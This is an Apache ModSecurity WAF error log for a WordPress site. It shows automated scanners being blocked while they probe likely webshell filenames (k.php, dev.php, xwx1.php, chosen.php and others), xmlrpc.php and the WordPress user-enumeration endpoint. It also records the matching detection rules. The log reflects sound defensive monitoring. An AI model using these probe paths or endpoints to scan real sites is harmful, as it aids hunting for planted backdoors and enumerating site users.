[Mon Apr 20 21:42:01.271410 2026] [:error] [pid 11350:tid 11368] [client 74.248.131.114:1210] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeYtKf4EoMBgOJuJnT3H6wAAAAk"]
[Mon Apr 20 21:42:01.890488 2026] [:error] [pid 11350:tid 11381] [client 74.248.131.114:2003] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeYtKf4EoMBgOJuJnT3H7QAAABY"]
[Mon Apr 20 21:42:02.890474 2026] [:error] [pid 11441:tid 11454] [client 74.248.131.114:29901] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aeYtKsixByFUvmh319CnZgAAAMs"]
[Mon Apr 20 21:42:03.530990 2026] [:error] [pid 11350:tid 11377] [client 74.248.131.114:29925] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aeYtK_4EoMBgOJuJnT3H8gAAABI"]
[Mon Apr 20 21:42:04.184491 2026] [:error] [pid 11441:tid 11456] [client 74.248.131.114:2031] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aeYtLMixByFUvmh319CnagAAAM0"]
[Mon Apr 20 21:42:04.813233 2026] [:error] [pid 11441:tid 11462] [client 74.248.131.114:1256] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aeYtLMixByFUvmh319CnbAAAANM"]
[Mon Apr 20 21:42:05.674185 2026] [:error] [pid 11350:tid 11378] [client 74.248.131.114:29941] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aeYtLf4EoMBgOJuJnT3H9gAAABM"]
[Mon Apr 20 21:42:06.279631 2026] [:error] [pid 11441:tid 11461] [client 74.248.131.114:1741] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aeYtLsixByFUvmh319CncgAAANI"]
[Mon Apr 20 21:42:06.877061 2026] [:error] [pid 11441:tid 11458] [client 74.248.131.114:30474] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aeYtLsixByFUvmh319CndwAAAM8"]
[Mon Apr 20 21:42:07.780295 2026] [:error] [pid 11351:tid 11407] [client 74.248.131.114:1149] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aeYtLwN8Z1-vktaI_tMRbQAAAFQ"]
[Mon Apr 20 21:42:08.381041 2026] [:error] [pid 11350:tid 11362] [client 74.248.131.114:30487] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeYtMP4EoMBgOJuJnT3H-QAAAAM"]
[Mon Apr 20 21:42:09.265374 2026] [:error] [pid 11351:tid 11411] [client 74.248.131.114:1748] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeYtMQN8Z1-vktaI_tMRbwAAAFg"]
[Mon Apr 20 21:42:09.836455 2026] [:error] [pid 6928:tid 6948] [client 74.248.131.114:1759] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeYtMR3y7MHq1iB0qYq6ZQAAAVI"]
[Mon Apr 20 21:42:57.018306 2026] [:error] [pid 11350:tid 11368] [client 74.248.131.114:27408] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeYtYf4EoMBgOJuJnT3IQAAAAAk"]
[Mon Apr 20 21:42:57.562540 2026] [:error] [pid 11350:tid 11363] [client 74.248.131.114:12752] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeYtYf4EoMBgOJuJnT3IQwAAAAQ"]
[Mon Apr 20 21:42:58.111512 2026] [:error] [pid 11352:tid 11435] [client 74.248.131.114:1248] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeYtYml10mhMSfJ7ir_dngAAAJU"]
[Mon Apr 20 21:42:58.643566 2026] [:error] [pid 11494:tid 11515] [client 74.248.131.114:30496] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeYtYsgko5iFiE8YoyTtoQAAAZM"]
[Mon Apr 20 21:42:59.241888 2026] [:error] [pid 11494:tid 11499] [client 74.248.131.114:12796] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aeYtY8gko5iFiE8YoyTtowAAAYM"]
[Mon Apr 20 21:42:59.813091 2026] [:error] [pid 11350:tid 11379] [client 74.248.131.114:30573] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aeYtY_4EoMBgOJuJnT3ISwAAABQ"]
[Mon Apr 20 21:43:00.376353 2026] [:error] [pid 6928:tid 6941] [client 74.248.131.114:1251] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aeYtZB3y7MHq1iB0qYq6hQAAAUs"]
[Mon Apr 20 21:43:01.060882 2026] [:error] [pid 11441:tid 11452] [client 74.248.131.114:2025] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aeYtZcixByFUvmh319CnpwAAAMk"]
[Mon Apr 20 21:43:01.728521 2026] [:error] [pid 11441:tid 11459] [client 74.248.131.114:1745] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ew.php"] [unique_id "aeYtZcixByFUvmh319CnqgAAANA"]
[Mon Apr 20 21:43:02.424328 2026] [:error] [pid 11350:tid 11361] [client 74.248.131.114:1443] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ew.php"] [unique_id "aeYtZv4EoMBgOJuJnT3ITQAAAAI"]
[Mon Apr 20 21:43:03.429796 2026] [:error] [pid 11441:tid 11461] [client 74.248.131.114:30536] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ew.php"] [unique_id "aeYtZ8ixByFUvmh319CnrQAAANI"]
[Mon Apr 20 21:43:04.423118 2026] [:error] [pid 11350:tid 11378] [client 74.248.131.114:1527] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ew.php"] [unique_id "aeYtaP4EoMBgOJuJnT3IUAAAABM"]
[Mon Apr 20 21:43:05.562054 2026] [:error] [pid 6928:tid 6939] [client 74.248.131.114:1234] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeYtaR3y7MHq1iB0qYq6iwAAAUk"]
[Mon Apr 20 21:43:08.422162 2026] [:error] [pid 11350:tid 11380] [client 74.248.131.114:29871] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeYtbP4EoMBgOJuJnT3IWQAAABU"]
[Mon Apr 20 21:43:09.432114 2026] [:error] [pid 6928:tid 6945] [client 74.248.131.114:29947] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeYtbR3y7MHq1iB0qYq6jgAAAU8"]
[Mon Apr 20 21:43:12.388443 2026] [:error] [pid 6928:tid 6935] [client 74.248.131.114:30525] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeYtcB3y7MHq1iB0qYq6lQAAAUU"]
[Mon Apr 20 21:43:13.374926 2026] [:error] [pid 11494:tid 11496] [client 74.248.131.114:1739] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hypo.php"] [unique_id "aeYtccgko5iFiE8YoyTtsAAAAYA"]
[Mon Apr 20 21:43:13.930691 2026] [:error] [pid 11350:tid 11376] [client 74.248.131.114:12755] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hypo.php"] [unique_id "aeYtcf4EoMBgOJuJnT3IWgAAABE"]
[Mon Apr 20 21:43:14.553952 2026] [:error] [pid 11441:tid 11450] [client 74.248.131.114:1534] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hypo.php"] [unique_id "aeYtcsixByFUvmh319CntwAAAMc"]
[Mon Apr 20 21:43:15.233086 2026] [:error] [pid 11350:tid 11364] [client 74.248.131.114:29861] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hypo.php"] [unique_id "aeYtc_4EoMBgOJuJnT3IWwAAAAU"]
[Mon Apr 20 21:43:15.850112 2026] [:error] [pid 42014:tid 42033] [client 74.248.131.114:1755] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aeYtc8ek-00-ZI0f1NqGswAAARE"]
[Mon Apr 20 21:43:16.382078 2026] [:error] [pid 11350:tid 11377] [client 74.248.131.114:30505] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aeYtdP4EoMBgOJuJnT3IXwAAABI"]
[Mon Apr 20 21:43:16.923999 2026] [:error] [pid 11441:tid 11445] [client 74.248.131.114:1751] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aeYtdMixByFUvmh319CnvAAAAMI"]
[Mon Apr 20 21:43:17.511339 2026] [:error] [pid 11441:tid 11464] [client 74.248.131.114:29920] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aeYtdcixByFUvmh319CnvgAAANU"]
[Mon Apr 20 21:43:18.051675 2026] [:error] [pid 42014:tid 42017] [client 74.248.131.114:30558] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeYtdsek-00-ZI0f1NqGtAAAAQE"]
[Mon Apr 20 21:43:18.589638 2026] [:error] [pid 11351:tid 11397] [client 74.248.131.114:29877] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeYtdgN8Z1-vktaI_tMSEwAAAEo"]
[Mon Apr 20 21:43:19.181616 2026] [:error] [pid 11441:tid 11453] [client 74.248.131.114:29921] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeYtd8ixByFUvmh319CnwQAAAMo"]
[Mon Apr 20 21:43:19.791464 2026] [:error] [pid 11350:tid 11368] [client 74.248.131.114:29898] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeYtd_4EoMBgOJuJnT3IYgAAAAk"]
[Mon Apr 20 21:43:20.419994 2026] [:error] [pid 11441:tid 11452] [client 74.248.131.114:29838] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aeYteMixByFUvmh319CnxAAAAMk"]
[Mon Apr 20 21:43:20.957021 2026] [:error] [pid 11441:tid 11446] [client 74.248.131.114:1513] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aeYteMixByFUvmh319CnyAAAAMM"]
[Mon Apr 20 21:43:21.497187 2026] [:error] [pid 11350:tid 11369] [client 74.248.131.114:30501] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aeYtef4EoMBgOJuJnT3IZQAAAAo"]
[Mon Apr 20 21:43:22.153621 2026] [:error] [pid 11351:tid 11411] [client 74.248.131.114:30580] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aeYtegN8Z1-vktaI_tMSFgAAAFg"]
[Mon Apr 20 21:43:22.717208 2026] [:error] [pid 11494:tid 11514] [client 74.248.131.114:29890] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeYtesgko5iFiE8YoyTttwAAAZI"]
[Mon Apr 20 21:43:23.243583 2026] [:error] [pid 11352:tid 11424] [client 74.248.131.114:30515] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeYte2l10mhMSfJ7ir_dqQAAAIo"]
[Mon Apr 20 21:43:23.760652 2026] [:error] [pid 11352:tid 11422] [client 74.248.131.114:30466] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeYte2l10mhMSfJ7ir_dqgAAAIg"]
[Mon Apr 20 21:43:24.380627 2026] [:error] [pid 11350:tid 11367] [client 74.248.131.114:1502] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeYtfP4EoMBgOJuJnT3IaQAAAAg"]
[Mon Apr 20 22:59:49.132625 2026] [:error] [pid 11494:tid 11500] [client 43.135.142.7:38080] [client 43.135.142.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeY_Zcgko5iFiE8YoyQEiQAAAYQ"]
[Tue Apr 21 00:13:13.387127 2026] [:error] [pid 42014:tid 42039] [client 136.112.187.79:59650] [client 136.112.187.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.187.79, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeZQmcek-00-ZI0f1NqeiQAAARc"]
[Tue Apr 21 00:13:16.253034 2026] [:error] [pid 42014:tid 42033] [client 136.112.187.79:59650] [client 136.112.187.79] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeZQnMek-00-ZI0f1NqejAAAARE"]
[Tue Apr 21 00:13:19.115590 2026] [:error] [pid 42014:tid 42027] [client 136.112.187.79:59650] [client 136.112.187.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.187.79, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeZQn8ek-00-ZI0f1NqejwAAAQs"]
[Tue Apr 21 00:20:45.511063 2026] [:error] [pid 11494:tid 11513] [client 169.224.97.32:20370] [client 169.224.97.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.224.97.32, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeZSXcgko5iFiE8YoyQdTQAAAZE"]
[Tue Apr 21 01:53:54.980526 2026] [:error] [pid 11441:tid 11443] [client 54.37.252.212:59740] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeZoMsixByFUvmh319DlCQAAAMA"]
[Tue Apr 21 01:53:57.848441 2026] [:error] [pid 11351:tid 11400] [client 54.37.252.212:50252] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeZoNQN8Z1-vktaI_tOkKAAAAE0"]
